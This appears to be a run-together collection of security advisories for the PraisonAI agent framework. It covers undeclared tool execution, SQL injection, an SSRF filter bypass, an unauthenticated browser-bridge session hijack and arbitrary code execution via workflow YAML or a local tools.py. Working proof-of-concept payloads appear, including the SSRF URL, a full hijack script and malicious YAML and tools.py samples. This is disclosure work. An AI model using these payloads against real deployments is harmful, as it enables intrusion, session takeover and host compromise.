Summary praisonaiagents resolves unresolved tool names against module globals and main after it fails to match the declared tool list and the registry. With the default agent configuration, permallow is None, so undeclared non-dangerous tool names are not rejected by the permission gate. An attacker who can influence tool-call names can therefore invoke unintended application callables that were never declared as tools.

Details The vulnerable resolution path is in [toolexecution.py](/Users/shmulc/Documents/Codex/2026-05-03/please-go-over-tmp-tp-advisories/repos/PraisonAI/src/praisonai-agents/praisonaiagents/agent/toolexecution.py:734). After searching declared tools and the registry, execution falls back to globals() and then main:

python func = None for tool in self.tools if isinstance(self.tools, (list, tuple)) else []: ...

if func is None: try: from ..tools.registry import getregistry registry = getregistry() func = registry.get(functionname) except ImportError: pass

if func is None: func = globals().get(functionname) if not func: import main func = getattr(main, functionname, None)

If a callable is found, it is executed directly:

python elif callable(func): castedarguments = self.castarguments(func, arguments) return func(castedarguments)

The permission gate does not enforce a declared-tool allowlist by default. In [toolexecution.py](/Users/shmulc/Documents/Codex/2026-05-03/please-go-over-tmp-tp-advisories/repos/PraisonAI/src/praisonai-agents/praisonaiagents/agent/toolexecution.py:550), execution is only rejected if permallow is non-None:

python if self.permdeny and functionname in self.permdeny: return {"error": f"Tool '{functionname}' blocked by permission policy", "permissiondenied": True} if self.permallow is not None and functionname not in self.permallow: return {"error": f"Tool '{functionname}' not in allowed tools list", "permissiondenied": True}

Default agent initialization sets permallow = None, which means "allow all" rather than "allow only declared tools" in [agent.py](/Users/shmulc/Documents/Codex/2026-05-03/please-go-over-tmp-tp-advisories/repos/PraisonAI/src/praisonai-agents/praisonaiagents/agent/agent.py:1749):

python self.permdeny = frozenset() # Permission tier deny set (empty = no denials) self.permallow = None # Permission tier allow set (None = allow all)

The project's own tests confirm that default agents have no allowlist and that undeclared custom tool names pass approval:

- [testpermissions.py](/Users/shmulc/Documents/Codex/2026-05-03/please-go-over-tmp-tp-advisories/repos/PraisonAI/src/praisonai-agents/tests/unit/testpermissions.py:56) asserts that a default Agent has permallow is None. - testpermissions.py explicitly checks that agent.checktoolapprovalsync("mycustomtool", {}) passes for an undeclared tool name.

Empirical verification:

I verified the bypass locally on commit d8a8a786915dc67a7c3021e24f72458f2eac5d9c (v4.6.35) by defining a callable only in main, giving the agent an empty tools list, and invoking executetool() with that undeclared name. The tool executor ran the main function anyway.

PoC Environment - Repo: MervinPraison/PraisonAI - Commit: d8a8a786915dc67a7c3021e24f72458f2eac5d9c - Verified against PyPI package versions available on May 3, 2026: - praisonaiagents 1.6.35 - PraisonAI 4.6.35 - Python 3

Steps 1. From the repository root, run:

bash python3 - <<'PY' import sys from unittest.mock import MagicMock, patch

sys.path.insert(0, '/Users/shmulc/Documents/Codex/2026-05-03/please-go-over-tmp-tp-advisories/repos/PraisonAI/src/praisonai-agents') from praisonaiagents.agent.toolexecution import ToolExecutionMixin

def sneaky(msg='ok'): return {'ran': msg}

class HookRunner: def executesync(self, args, kwargs): return [] def isblocked(self, results): return False

class Dummy(ToolExecutionMixin): def init(self): self.name = 'demo' self.tools = [] self.chathistory = [] self.hookrunner = HookRunner() self.contextmanager = None self.doomlooptracker = None self.permdeny = frozenset() self.permallow = None self.approvalbackend = None

mockregistry = MagicMock() mockregistry.approvesync.returnvalue = MagicMock(approved=True, reason='mock', modifiedargs=None) mockregistry.markapproved = MagicMock()

with patch('praisonaiagents.approval.getapprovalregistry', returnvalue=mockregistry): agent = Dummy() print(agent.executetool('sneaky', {'msg': 'hello'})) print(mockregistry.approvesync.callargs) PY

Expected output text {'ran': 'hello'} call('demo', 'sneaky', {'msg': 'hello'})

The important point is that sneaky was never declared in self.tools and was only present in main.

Impact - Any deployment that lets an untrusted party influence tool-call names: undeclared application callables can run even though they were never registered as tools. - Operators who rely on the declared tool list as a security boundary: that boundary is broken because unresolved names fall through to globals() and main. - Applications that keep privileged helper functions in process scope: the attacker can reuse those helpers with the application's own privileges, which can lead to unauthorized state changes and, depending on what is loaded, data exposure or command execution.

PraisonAI is a multi-agent teams system. Prior to praisonai version 4.6.9 and praisonaiagents version 1.6.9, the fix for CVE-2026-40315 added input validation to SQLiteConversationStore only. Nine sibling backends — MySQL, PostgreSQL, async SQLite/MySQL/PostgreSQL, Turso, SingleStore, Supabase, SurrealDB — pass tableprefix straight into f-string SQL. Same root cause, same code pattern, same exploitation. 52 unvalidated injection points across the codebase. postgres.py additionally accepts an unvalidated schema parameter used directly in DDL. This issue has been patched in praisonai version 4.6.9 and praisonaiagents version 1.6.9.

Summary The URL checking logic in PraisonAI has a logical flaw that could be bypassed by attackers, leading to SSRF attacks.

Details The current PraisonAI project uses validateurl to validate the input URL. The main logic is to perform security checks on the host portion of the URL extracted by urlparse to prevent SSRF attacks.

<img width="1290" height="1145" alt="QQ20260424-151256-24-1" src="https://github.com/user-attachments/assets/d5f16b74-5ad2-444f-8600-b05f78a4b769" />

However, there are indeed differences in parsing between urlparse and the library that actually sends the request. Currently, almost all application scenarios in this project involve first using validateurl for URL validation, and then using getsession().get to send the request.

<img width="1143" height="740" alt="QQ20260424-151437-24-2" src="https://github.com/user-attachments/assets/b1bf6ec2-d32a-4dac-b814-da819e8d3c83" />

In reality, its underlying mechanism is requests.get.

<img width="1042" height="576" alt="QQ20260424-151645-24-3" src="https://github.com/user-attachments/assets/e17352c3-4205-44d6-ab6e-75566480215b" />

The core issue: urlparse() and requests disagree on which host a URL like http://127.0.0.1:6666\@1.1.1.1 points to:

- urlparse() treats \ as a regular character and @ as the userinfo-host delimiter, so it extracts hostname as 1.1.1.1 (public) - requests treats \ as a path character, connecting to 127.0.0.1 (internal)

Below is a test code I wrote following the code.

import sys from pathlib import Path from pprint import pprint

sys.path.insert(0, str(Path(r"D:/BaiduNetdiskDownload/PraisonAI-main/PraisonAI-main/src/praisonai-agents")))

from praisonaiagents.tools import spidertools

url = "http://127.0.0.1:6666\@1.1.1.1" url = "http://127.0.0.1:6666"

result = spidertools.scrapepage(url)

if isinstance(result, dict) and "error" in result: print("scrape failed:", result["error"]) else: pprint(result) When an attacker uses http://127.0.0.1:6666/, the existing detection logic can detect that this is an internal network address and block it.

<img width="1068" height="128" alt="QQ20260424-152007-24-4" src="https://github.com/user-attachments/assets/294bff10-2af6-4960-bf69-dbf3340b1e9b" />

However, when an attacker uses http://127.0.0.1:6666\@1.1.1.1, the detection logic resolves the host to 1.1.1.1, which is a public IP address, thus passing the verification. But in the actual request process, this URL is forwarded by requests.get to http://127.0.0.1:6666, bypassing the detection and achieving an SSRF attack.

<img width="2089" height="324" alt="QQ20260424-152123-24-5" src="https://github.com/user-attachments/assets/4421ce42-e47b-48de-a97a-56ce56a2bbc9" />

PoC http://127.0.0.1:6666\@1.1.1.1

Impact SSRF

Summary praisonai browser start exposes the browser bridge on 0.0.0.0 by default, and its /ws endpoint accepts websocket clients that omit the Origin header entirely. An unauthenticated network client can connect as a fake controller, send startsession, cause the server to forward startautomation to another connected browser-extension websocket, and receive the resulting action/status stream back over that hijacked session. This allows unauthorized remote use of a connected browser automation session without any credentials.

Details The issue is in the browser bridge trust model. The code assumes that websocket peers are trusted local components, but that assumption is not enforced.

Relevant code paths:

- Default network exposure: src/praisonai/praisonai/browser/server.py:38-44 and src/praisonai/praisonai/browser/cli.py:25-30 - Optional-only origin validation: src/praisonai/praisonai/browser/server.py:156-173 - Unauthenticated startsession routing: src/praisonai/praisonai/browser/server.py:237-240 and src/praisonai/praisonai/browser/server.py:289-302 - Cross-connection forwarding to any other idle websocket: src/praisonai/praisonai/browser/server.py:344-356 - Broadcast of action output back to the initiating unauthenticated client: src/praisonai/praisonai/browser/server.py:412-423 and src/praisonai/praisonai/browser/server.py:462-476

The handshake logic only checks origin when an Origin header is present:

python origin = websocket.headers.get("origin") if origin: ... if not isallowed: await websocket.close(code=1008) return

await websocket.accept()

This means a non-browser client can omit Origin completely and still be accepted.

After that, any connected client can send {"type":"startsession", ...}. The server then looks for the first other websocket without a session and sends it a startautomation message:

python if clientconn != conn and clientconn.websocket and not clientconn.sessionid: await clientconn.websocket.sendtext(jsonmod.dumps(startmsg)) clientconn.sessionid = sessionid senttoextension = True break

When the extension-side connection responds with an observation, the resulting action is broadcast to every websocket with the same sessionid, including the unauthenticated initiating client:

python actionresponse = { "type": "action", "sessionid": sessionid, action, }

for clientid, clientconn in self.connections.items(): if clientconn.sessionid == sessionid and clientconn != conn: await clientconn.websocket.sendjson(actionresponse)

I verified this on the latest local checkout: praisonai version 4.5.134 at commit 365f75040f4e279736160f4b6bdb2bdb7a3968d4.

PoC I used tmp/pocs/poc.sh to reproduce the issue from a clean local checkout.

Run:

bash cd "/Users/r1zzg0d/Documents/CVE hunting/targets/PraisonAI" ./tmp/pocs/poc.sh

Expected vulnerable output:

text [+] No-Origin client accepted: True [+] Session forwarded to extension: True [+] Action broadcast to attacker: True [+] RESULT: VULNERABLE - unauthenticated client can hijack browser sessions.

Step-by-step reproduction:

1. Start the local browser bridge from the checked-out source tree. 2. Connect one websocket as a stand-in extension using a valid chrome-extension://<32-char-id> origin. 3. Connect a second websocket with no Origin header. 4. Send startsession from the unauthenticated websocket. 5. Observe that the server forwards startautomation to the extension websocket. 6. Send an observation from the extension websocket using the assigned sessionid. 7. Observe that the resulting action and completion status are delivered back to the unauthenticated initiating websocket.

tmp/pocs/poc.sh:

sh #!/bin/sh set -eu

SCRIPTDIR="$(CDPATH= cd -- "$(dirname -- "$0")" && pwd)"

cd "$SCRIPTDIR/../.."

exec uv run --no-project \ --with fastapi \ --with uvicorn \ --with websockets \ python3 "$SCRIPTDIR/poc.py"

tmp/pocs/poc.py:

python #!/usr/bin/env python3 """Verify unauthenticated browser-server session hijack on current source tree.

This PoC starts the BrowserServer from the local checkout, connects: 1. A fake extension client using an arbitrary chrome-extension Origin 2. An attacker client with no Origin header

It then shows the attacker can start a session that the server forwards to the extension connection, and can receive the resulting action broadcast back over that hijacked session. """

from future import annotations

import asyncio import json import os import socket import sys import tempfile from pathlib import Path

REPOROOT = Path(file).resolve().parents[2] SRCROOT = REPOROOT / "src" / "praisonai" if str(SRCROOT) not in sys.path: sys.path.insert(0, str(SRCROOT))

def pickport() -> int: with socket.socket(socket.AFINET, socket.SOCKSTREAM) as sock: sock.bind(("127.0.0.1", 0)) return sock.getsockname()[1]

class DummyBrowserAgent: """Minimal stub to avoid real LLM/browser dependencies during validation."""

def init(self, model: str, maxsteps: int, verbose: bool): self.model = model self.maxsteps = maxsteps self.verbose = verbose

async def aprocessobservation(self, message: dict) -> dict: return { "action": "done", "thought": f"processed: {message.get('url', '')}", "done": True, "summary": "dummy action generated", }

async def main() -> int: temphome = tempfile.TemporaryDirectory(prefix="praisonai-browser-poc-") os.environ["HOME"] = temphome.name

from praisonai.browser.server import BrowserServer import praisonai.browser.agent as agentmodule import uvicorn import websockets

agentmodule.BrowserAgent = DummyBrowserAgent

port = pickport() server = BrowserServer(host="127.0.0.1", port=port, verbose=False) app = server.getapp()

config = uvicorn.Config( app, host="127.0.0.1", port=port, loglevel="error", accesslog=False, ) uvicornserver = uvicorn.Server(config) servertask = asyncio.createtask(uvicornserver.serve())

try: for in range(50): if uvicornserver.started: break await asyncio.sleep(0.1) else: raise RuntimeError("Uvicorn server did not start in time")

wsurl = f"ws://127.0.0.1:{port}/ws"

async with websockets.connect( wsurl, origin="chrome-extension://aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", ) as extensionws: extensionwelcome = json.loads(await extensionws.recv()) print("[+] Extension welcome:", extensionwelcome)

async with websockets.connect(wsurl) as attackerws: attackerwelcome = json.loads(await attackerws.recv()) print("[+] Attacker welcome:", attackerwelcome)

await attackerws.send( json.dumps( { "type": "startsession", "goal": "Open internal admin page and reveal secrets", "model": "dummy", "maxsteps": 1, } ) ) startresponse = json.loads(await attackerws.recv()) print("[+] Attacker startsession response:", startresponse)

hijackedmsg = json.loads(await extensionws.recv()) print("[+] Extension received forwarded message:", hijackedmsg)

sessionid = hijackedmsg["sessionid"] await extensionws.send( json.dumps( { "type": "observation", "sessionid": sessionid, "stepnumber": 1, "url": "https://victim.example/internal", "elements": [{"selector": "#secret"}], } ) )

attackeraction = json.loads(await attackerws.recv()) attackerstatus = json.loads(await attackerws.recv()) print("[+] Attacker received broadcast action:", attackeraction) print("[+] Attacker received completion status:", attackerstatus)

nooriginclientconnected = attackerwelcome.get("status") == "connected" forwardedtoextension = hijackedmsg.get("type") == "startautomation" actionbroadcasted = ( attackeraction.get("type") == "action" and attackeraction.get("sessionid") == sessionid )

print("[+] No-Origin client accepted:", nooriginclientconnected) print("[+] Session forwarded to extension:", forwardedtoextension) print("[+] Action broadcast to attacker:", actionbroadcasted)

if nooriginclientconnected and forwardedtoextension and actionbroadcasted: print("[+] RESULT: VULNERABLE - unauthenticated client can hijack browser sessions.") return 0

print("[-] RESULT: NOT VULNERABLE") return 1 finally: uvicornserver.shouldexit = True try: await asyncio.waitfor(servertask, timeout=5) except Exception: servertask.cancel() temphome.cleanup()

if name == "main": raise SystemExit(asyncio.run(main()))

tmp/pocs/poc.py starts a temporary local server, stubs the browser agent, opens both websocket roles, and prints the final vulnerability conditions explicitly.

PoC Video:

https://github.com/user-attachments/assets/df078542-bbdc-4341-b438-89c86365009e

Impact This is an unauthenticated remote-control vulnerability in the browser automation bridge. Any network client that can reach the exposed bridge can impersonate the controller side of the workflow, hijack an available connected extension session, and receive automation output from that hijacked session. In real deployments, this can allow unauthorized browser actions, misuse of model-backed automation, and leakage of sensitive page context or automation results.

Who is impacted:

- Operators who run praisonai browser start with the default host binding - Users with an active connected browser extension session - Environments where the bridge is reachable from other hosts on the network

Recommended Fix Suggested remediations:

1. Require explicit authentication for every websocket client connecting to /ws. 2. Reject websocket handshakes that omit Origin, unless they are using a separate authenticated localhost-only transport. 3. Bind the browser bridge to 127.0.0.1 by default and require explicit operator opt-in for non-loopback exposure. 4. Do not route startsession to “the first other idle connection”; instead, pair authenticated controller and extension clients explicitly.

praisonai workflow run <file.yaml> loads untrusted YAML and if type: job executes steps through JobWorkflowExecutor in jobworkflow.py.

This supports: - run: → shell command execution via subprocess.run() - script: → inline Python execution via exec() - python: → arbitrary Python script execution

A malicious YAML file can execute arbitrary host commands.

Affected Code - workflow.py → actionrun() - jobworkflow.py → execshell(), execinlinepython(), execpythonscript()

PoC Create exploit.yaml:

yaml type: job name: exploit steps: - name: write-file run: python -c "open('pwned.txt','w').write('owned')"

Run:

bash praisonai workflow run exploit.yaml

Reproduction Steps 1. Save the YAML above as exploit.yaml. 2. Execute praisonai workflow run exploit.yaml. 3. Confirm pwned.txt appears in the working directory.

Impact Remote or local attacker-supplied workflow YAML can execute arbitrary host commands and code, enabling full system compromise in CI or shared deployment contexts.

Reporter: Lakshmikanthan K (letchupkt)

PraisonAI automatically imports ./tools.py from the current working directory when launching certain components. This includes call.py, toolresolver.py, and CLI tool-loading paths.

A malicious tools.py placed in the process working directory is executed immediately, allowing arbitrary Python code execution in the host environment.

Affected Code - call.py → importtoolsfromfile() - toolresolver.py → loadlocaltools() - tools.py → local tool import flow -

PoC Create tools.py in the directory where PraisonAI is launched:

python tools.py import os os.system("echo pwned > /tmp/pwned.txt")

Run any PraisonAI component that loads local tools, for example:

bash praisonai workflow run safe.yaml

Reproduction Steps 1. Create a malicious tools.py in the current working directory. 2. Start PraisonAI or invoke a CLI command that loads local tools. 3. Verify that /tmp/pwned.txt or the malicious command output exists.

Impact An attacker who can place or influence tools.py in the working directory can execute arbitrary code in the PraisonAI process, compromising the host and any connected data.

Reporter: Lakshmikanthan K (letchupkt)